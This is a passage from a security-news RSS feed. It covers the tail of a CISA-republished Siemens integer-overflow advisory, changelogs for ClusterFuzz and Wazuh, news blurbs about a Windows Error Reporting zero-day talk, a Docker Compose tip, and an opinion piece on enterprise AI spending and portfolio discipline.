<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.1]]></title>
<description><![CDATA[What's Changed

Upload Fuzzer Logs to GCS only if not in a uworker by @IvanBM18 in #5363
process: Adds logs to the timeout timers that terminate processes by @g-ortuno in #5367
Gracefully handle metadata look up for update_task check for bots off GCE by @dylanjew in #5362

Full Changelog: v2.35.0...]]></description>
<link>https://tsecurity.de/de/3684454/it-security-tools/v2351/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684454/it-security-tools/v2351/</guid>
<pubDate>Tue, 21 Jul 2026 19:09:26 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Upload Fuzzer Logs to GCS only if not in a uworker by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IvanBM18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IvanBM18">@IvanBM18</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888259039" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5363" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5363/hovercard" href="https://github.com/google/clusterfuzz/pull/5363">#5363</a></li>
<li>process: Adds logs to the timeout timers that terminate processes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4895795313" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5367" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5367/hovercard" href="https://github.com/google/clusterfuzz/pull/5367">#5367</a></li>
<li>Gracefully handle metadata look up for update_task check for bots off GCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886899116" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5362" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5362/hovercard" href="https://github.com/google/clusterfuzz/pull/5362">#5362</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.0...v2.35.1"><tt>v2.35.0...v2.35.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MCTTP 2026: Windows Error Reporting: Exploits & Zero-Day - Security-Insider]]></title>
<description><![CDATA[Er wird in seinem Vortrag auf der Munich Cyber Tactics, Techniques & Procedures 2026 „A History of Errors: The Evolution of Windows Error Reporting ...]]></description>
<link>https://tsecurity.de/de/3684074/it-security-nachrichten/mcttp-2026-windows-error-reporting-exploits-zero-day-security-insider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684074/it-security-nachrichten/mcttp-2026-windows-error-reporting-exploits-zero-day-security-insider/</guid>
<pubDate>Tue, 21 Jul 2026 16:55:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Er wird in seinem Vortrag auf der Munich <b>Cyber</b> Tactics, Techniques &amp; Procedures 2026 „A History of Errors: The Evolution of Windows Error Reporting ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Forscher stellt noch unbekannte WER-Zero-Day in München vor]]></title>
<description><![CDATA[Windows Error Reporting ist ein beliebtes Angriffsziel. Trotz kontinuierlicher Schutzmaßnahmen entwickeln sich Schwachstellen weiter. Beispiele, Tipps für Verteidiger und eine bisher unbekannte WER-Sicherheitslücke stellt Forscher HeeChan Kim auf der MCTTP vor.]]></description>
<link>https://tsecurity.de/de/3683962/it-security-nachrichten/forscher-stellt-noch-unbekannte-wer-zero-day-in-muenchen-vor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683962/it-security-nachrichten/forscher-stellt-noch-unbekannte-wer-zero-day-in-muenchen-vor/</guid>
<pubDate>Tue, 21 Jul 2026 16:10:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Windows Error Reporting ist ein beliebtes Angriffsziel. Trotz kontinuierlicher Schutzmaßnahmen entwickeln sich Schwachstellen weiter. Beispiele, Tipps für Verteidiger und eine bisher unbekannte WER-Sicherheitslücke stellt Forscher HeeChan Kim auf der MCTTP vor.]]></content:encoded>
</item>
<item>
<title><![CDATA[Git Pull Kept Failing on My Ghost Server. Docker Compose Override Fixed It]]></title>
<description><![CDATA[Modifying your docker-compose.yml directly and now git pull throws a "local changes would be overwritten" error? Use a compose.override.yml file to keep your changes separate from the file Ghost's repo manages.]]></description>
<link>https://tsecurity.de/de/3683935/linux-tipps/git-pull-kept-failing-on-my-ghost-server-docker-compose-override-fixed-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683935/linux-tipps/git-pull-kept-failing-on-my-ghost-server-docker-compose-override-fixed-it/</guid>
<pubDate>Tue, 21 Jul 2026 15:54:15 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Modifying your docker-compose.yml directly and now git pull throws a "local changes would be overwritten" error? Use a compose.override.yml file to keep your changes separate from the file Ghost's repo manages.]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v5.0.0 Beta 4]]></title>
<description><![CDATA[What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination...]]></description>
<link>https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</guid>
<pubDate>Tue, 21 Jul 2026 14:50:03 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix: persist engine startup state for CMSync route logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4791733554" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37356" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37356/hovercard" href="https://github.com/wazuh/wazuh/pull/37356">#37356</a></li>
<li>Fix invalid MTU value reported for Windows network interfaces by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4803040708" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37394" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37394/hovercard" href="https://github.com/wazuh/wazuh/pull/37394">#37394</a></li>
<li>Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807506800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37414" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37414/hovercard" href="https://github.com/wazuh/wazuh/pull/37414">#37414</a></li>
<li>Suppress version-coordination WARNINGs on stop/unavailable module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794436123" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37372" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37372/hovercard" href="https://github.com/wazuh/wazuh/pull/37372">#37372</a></li>
<li>Clarify security policy for pre-release versions and disclosure timeline by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4818245095" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37423" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37423/hovercard" href="https://github.com/wazuh/wazuh/pull/37423">#37423</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820838366" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37429" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37429/hovercard" href="https://github.com/wazuh/wazuh/pull/37429">#37429</a></li>
<li>wazuh-manager: Memory and copy-reduction improvements part 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677386441" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36979" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36979/hovercard" href="https://github.com/wazuh/wazuh/pull/36979">#36979</a></li>
<li>Improve default cores detection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4770907500" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37288" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37288/hovercard" href="https://github.com/wazuh/wazuh/pull/37288">#37288</a></li>
<li>Standardize and verify Wazuh configuration documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806420763" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37411" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37411/hovercard" href="https://github.com/wazuh/wazuh/pull/37411">#37411</a></li>
<li>Handle rootcheck removed tags by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788149250" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37346" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37346/hovercard" href="https://github.com/wazuh/wazuh/pull/37346">#37346</a></li>
<li>Update docs (agent) for the new password in manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4816394475" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37420" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37420/hovercard" href="https://github.com/wazuh/wazuh/pull/37420">#37420</a></li>
<li>Backport the workflow for generating pre-release agent issues to version 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827403310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37490" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37490/hovercard" href="https://github.com/wazuh/wazuh/pull/37490">#37490</a></li>
<li>Upgrade 5.0.0 python dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793328371" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37361/hovercard" href="https://github.com/wazuh/wazuh/pull/37361">#37361</a></li>
